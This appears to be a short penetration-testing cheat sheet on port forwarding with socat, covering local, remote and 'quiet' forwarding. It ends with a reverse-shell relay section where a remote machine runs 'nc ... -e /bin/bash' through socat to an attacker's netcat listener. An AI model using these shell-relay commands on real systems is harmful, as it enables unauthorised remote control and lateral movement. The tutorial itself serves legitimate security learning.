Port Forwarding with Socat
Last modified: 2023-03-19
Network
Socat is a multipurpose relay tool. It can be used to port forwarding.
Port Forwarding
Run the following command in local machine.
socat tcp-listen:8080,fork tcp:<remote-ip>:80
With command above, we can access to http://localhost:8080/ and get the content of the remote website.
Port Forwarding (from Remote Machine)
Run the following command in remote machine.
socat tcp-listen:1234,fork,reuseaddr tcp:localhost:8080
With command above, we can access to http://<remote-ip>:1234 in local machine, and get the content of the remote 8080 port.
Quiet Port Forwarding
1. Open Up Two Ports in Local Machine
socat tcp-listen:<local-port> tcp-listen:<remote-port>,fork,reuseaddr &
2. Make a Connection between Local Port and Remote Port
In remote machine,
socat tcp:<local-ip>:<local-port> tcp:<remote-ip>:<remote-port>,fork &
3. Confirmation in Your Local Machine
For example, if <remote-port> is 8000 (HTTP), we can access to localhost:<remote-port>.
4. Stop Port Forwarding
# Stop backgrounds
jobs
# kill %<NUMBER>
kill %1
Reverse Shell Relay
1. Open Listener in Your Local Machine
nc -lvnp <local-port>
2. Run Socat in Remote Machine
./socat tcp-l:8000 tcp:<local-ip>:<local-port> &
nc 127.0.0.1 8000 -e /bin/bash
3. Confirmation in Your Local Machine
You can connect the remote shell, confirm by some commands.
whoami
4. Stop Reverse Shell Relay
# Stop backgrounds
jobs
# kill %<NUMBER>
kill %1